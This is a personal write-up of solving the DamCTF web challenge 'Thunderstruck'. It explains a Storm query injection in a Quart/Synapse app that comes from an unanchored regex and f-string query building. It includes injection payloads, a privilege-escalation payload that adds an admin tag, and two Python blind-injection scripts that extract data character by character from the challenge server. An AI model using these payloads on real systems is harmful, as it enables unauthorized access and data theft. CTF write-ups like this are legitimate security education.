Intro

I participated in DamCTF and solved a web challenge called Thunderstruck, flagging it less than an hour before the end of the CTF. I’m happy since it’s the first time I managed to get a challenge with relatively few solves :D

The challenge files and solve scripts are available here.

Exploration and research

Overview

The challenge is a Python webapp that uses Quart, an async reimplementation of Flask.

You can register and login as an user. There’s a /lookup endpoint where you can query some IOC (IPv4, MD5, SHA1, SHA256, or SHA512) to find out if they are “sus” or “safe”. There’s also an /admin panel only accessible if the user is an admin.

Synapse

The index page tells us that the challenge is powered by Synapse. I knew nothing about Synapse so the source code looked very overwhelming at first, but things became much clearer when I realized it’s just a fancy database system.

Reading the Synapse documentation, we can summarize some important characteristics and terminology that will help us understand the challenge:

  • Synapse uses Cortex which is a graph-like database, where a data entity is called a node which can be connected to other nodes, instead of tables and rows like in a SQL database.
  • Cortex uses a query language called Storm. It’s like the equivalent of the SQL for Cortex.

So for example, if you /lookup an IP address like 1.1.1.1, the app will use Storm to query if the Cortex database contains an inet:ipv4 node that has the value 1.1.1.1.

Source code

First, we can see that init_cortex.storm is used to initialize the database with some nodes. A inet:ipv4 node is set with value 9.9.9.9 and a meta:event node is set with a redacted summary.

There’s no mention of flag or anything redacted at any other place, so it seems that our goal is to somehow exfiltrate this value.

[meta:event=* :title="ingest-20230202" :summary="<REDACTED>"]
[inet:ipv4=9.9.9.9]

// REDACTED, CAN'T LEAK THE SPICE INTEL ;)

fini { $lib.print("initialized!") }

The Quart webapp code is in src/thundertruck.py, and we can study how the Cortex database and Storm query language is used in the app.

For example, in register_user, the cortex.count method is used to execute a Storm query to verify if a username already exists in the database, i.e. if an auth:creds node with value (thunderstruck,$u) exists. Notice the usage of the parameter $u which is the username, very much like a prepared statement / parametrized query in SQL.

@classmethod
async def register_user(cls, username: str, password: str) -> bool:
    salt = cls.get_salt()
    pwhash = cls.get_pw_hash(password, salt)

    if (await current_app.cortex.count(r"auth:creds=(thunderstruck,$u)", opts={"vars": {"u": username}, "view": BASE_VIEW_GUID})) == 1:
        return False
    
    # ...

Finding the bug

Storm query injection

Let’s now take a look at how the app finds out if the IOC you give at /lookup is “sus” (i.e. queries if it’s in the Cortex database) or not:

async def _lookup_ip(ip) -> bool:
    return await current_app.cortex.count(f"inet:ipv4={ip}", opts={"vars": {"ip": ip}, "view": await current_user.view}) > 0

async def _lookup_md5(h) -> bool:
    return await current_app.cortex.count(f"hash:md5={h}", opts={"vars": {"h": h}, "view": await current_user.view}) > 0

async def _lookup_sha1(h) -> bool:
    return await current_app.cortex.count(f"hash:sha1={h}", opts={"vars": {"h": h}, "view": await current_user.view}) > 0

async def _lookup_sha256(h) -> bool:
    return await current_app.cortex.count(f"hash:sha256={h}", opts={"vars": {"h": h}, "view": await current_user.view}) > 0

async def _lookup_sha512(h) -> bool:
    return await current_app.cortex.count(f"hash:sha512={h}", opts={"vars": {"h": h}, "view": await current_user.view}) > 0

It uses the cortex.count method just like in register_user, if the number of results is over 0, the IOC is in the database and is “sus”. We can also see that the IP address ip or the hash h we query is set as a parameter… Wait.

Unlike what we would except, our input is directly incorporated into the Python f-string instead of being a parameter! (f"inet:ipv4={ip}" instead of "inet:ipv4=$ip") This looks very much like a SQL injection point, or should I say Storm injection in our case :D

Now comes a question: is the IP address or hash we give to the /lookup query properly validated?

Regex mistake

Here’s the section of the code that validates our /lookup query parameter.

IPV4_PAT = re.compile(r"^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$")
HASH_PAT = re.compile(r"[0-9a-f]+")
@app.route("/lookup", methods=["GET", "POST"])
@login_required
async def lookup():
    if request.method == "POST":
        form = await request.form

        found = False
        good_lookup = True
        if IPV4_PAT.findall(form["query"]):
            found = await _lookup_ip(form["query"])
        elif HASH_PAT.findall(form["query"]):
            if len(form["query"]) == 32:
                found = await _lookup_md5(form["query"])
            elif len(form["query"]) == 40:
                found = await _lookup_sha1(form["query"])
            elif len(form["query"]) == 64:
                found = await _lookup_sha256(form["query"])
            elif len(form["query"]) == 128:
                found = await _lookup_sha512(form["query"])
            else:
                good_lookup = False
        else:
            good_lookup = False
        
        return await render_template("lookup.html", indicator=form["query"], good_lookup=good_lookup, found=found)
    else:
        return await render_template("lookup.html")

The regex that matches IPV4_PAT is properly written, but we notice that the ^ and $ is missing from HASH_PAT, which will make the regex match any string that contains at least one hex character, instead of verifying that it only contains hex characters!

However, our query still needs to be either 32, 40, 64 or 128 characters, but this is not really a problem since we can use comments that start with an # in Storm to pad our query (or simply just use spaces).

A simple POC

Suppose we /lookup the following query:

00000* | inet:ipv4=9.9.9.9 #aaaa

It contains at least one hex character and we padded it to length 32, so it will pass the validation and the resulting Storm query will be:

cortex.count("hash:md5=00000* | inet:ipv4=9.9.9.9")

* is the wildcard character, so this translates to: “Get the number of hash:md5 nodes that start with 00000 plus the number of inet:ipv4 nodes equal to 9.9.9.9”.

We set 00000* to ensure that no node matches the left side of the | operator, since it’s very unlikely that a hash like that exists in the database. So the result of this count query will be over 0 if and only if there’s a match in the right side.

We can test this locally because we know from init_cortex.storm that there’s a inet:ipv4 node with value 9.9.9.9 in the database, so the lookup will return “sus”.

00000* | inet:ipv4=9.9.9.9 #aaaa

On the other hand, the IP 9.9.9.8 doesn’t exist in our local database, so the following lookup will return “safe”.

00000* | inet:ipv4=9.9.9.8 #aaaa

We now have a way to execute arbitrary Storm commands, and also found an oracle to test if there’s a node in the database that satisfies our given condition, just like in a blind SQL injection!

Exfiltrating the event summary

The goal now is to get the value of meta:event:summary, and that’s where things got tough for me.

My inefficient solution

I immediately got the idea of exfiltrating the event summary character by character, using the same method you would use for a blind SQL injection. However, an operator that only matches part of the string similar to LIKE or SUBSTR in SQL is needed, and after reading through the Synapse documentation, I found and used the filter by regex operator ~=.

For example, the following lookup will return “sus” only if the event summary begins with the character a, and we will try this for every ASCII printable character to determine the first character, then the second one… until we get the full value.

00000* | meta:event:summary ~= "^a" #aaa

Here’s the solve script I ended up using. Note that since the summary is very long, the 128 character limit will be reached a few times and you will need to truncate the summary and restart the script if you decide to try it out entirely.

import requests
import string

s = requests.Session()
base_url = 'http://157.230.188.90'

r = s.post(f'{base_url}/login', {
    'username': 'a',
    'password': 'a'
})

summary = ''
alphabet =  [' ', '\\n'] + ['\\' + c for c in ',":=$()[]{}'] + list(string.ascii_letters + string.digits) + ['\\S', '\\s']

while True:

    for guess in alphabet:

        query = f'00000* | meta:event:summary ~= "^{summary + guess}" #'.ljust(128, 'a')

        r = s.post(f'{base_url}/lookup', {
            'query': query
        })
        assert('boi is safe' in r.text or 'sus indicator' in r.text)

        if 'sus indicator' in r.text:
            summary += guess
            print(summary)
            break

After a very long time and lots of regex debugging due to the presence of whitespaces and special characters, I finally got the full value of meta:event:summary which is a code segment:

for ($type, $valu) in $rows {
    switch ($type) {
        "md5": {[ hash:md5=$valu ]}
        "sha1": {[ hash:sha1=$valu ]}
        "sha256": {[ hash:sha256=$valu ]}
        "sha512": {[ hash:sha512=$valu ]}
        "ip": {[ inet:ipv4=$valu ]}
        "flag": {[ it:dev:str=$valu ]}
    }
}

Unfortunately, the summary didn’t contain the flag itself. However, we seem to be on the good path, since there’s a line hinting that the flag might be stored in a it:dev:str node.

"flag": {[ it:dev:str=$valu ]}

The good and intended way

Actually, the /admin endpoint displays the summary of the most recent meta:event when accessed, which would have saved me the hurdle of bruteforcing it character by character if I had found a way to access it. This completely skipped my mind during the CTF.

ingest_ts, ingest_code = await current_app.cortex.callStorm(r"meta:event#ingest | max .created | return((.created, :summary))", opts={"view": await current_user.view})

Of course, you need to be an admin in order to access the endpoint. In the source code, we can find out that an user is defined as an admin if the corresponding auth:creds node has a tag (defined by the character # in Synapse) with value role.admin.

self._is_admin = (await current_app.cortex.count(r"auth:creds=(thunderstruck,$u) +#role.admin", opts={"vars": {"u": self.auth_id}, "view": self._view})) == 1

Since we found a way to inject arbitrary Storm in the /lookup function, we can simply inject a query that adds the tag role.admin to our user node, which will promote us to admin!

* | auth:creds:user=a [+#role.admin] #aa

Then we can access the admin center and get the event summary effortlessly, as well as useful information such as node counts for each form. We can confirm that there’s a single it:dev:str node in the database which very likely contains the flag.

I got fixated on my idea of exfiltrating meta:event:summary character by character wrongly assuming that I could get the flag quickly that way and somehow forgot the details of the /admin endpoint, which lead to a lot of time wasted. Lessons learned!

Exfiltrating the flag

Now that we know that the flag is in the it:dev:str node, we can apply the same method we used for the event summary to exfiltrate the flag character by character, this time using the ^= operator which filters by prefix, since the flag likely starts with dam{. We can verify that by checking that the following lookup returns “sus” on remote:

00000* | it:dev:str ^= "dam{" #a

The solve script is very similar to the previous one, again just like a blind SQL injection.

import requests
import string

s = requests.Session()
base_url = 'http://157.230.188.90'

r = s.post(f'{base_url}/login', {
    'username': 'a',
    'password': 'a'
})

flag = 'dam{'
alphabet =  '}_' + string.digits + string.ascii_letters

while not flag.endswith('}'):

    for guess in alphabet:

        query = f'00000* | it:dev:str ^= "{flag + guess}" #'.ljust(128, 'a')

        r = s.post(f'{base_url}/lookup', {
            'query': query
        })
        assert('boi is safe' in r.text or 'sus indicator' in r.text)

        if 'sus indicator' in r.text:
            flag += guess
            print(flag)
            break

After some time, we finally get the flag!

dam{sq1_4nd_3xcel_ar3_w3ak_gr4phs_3re_fun}

Categories: ,

Updated: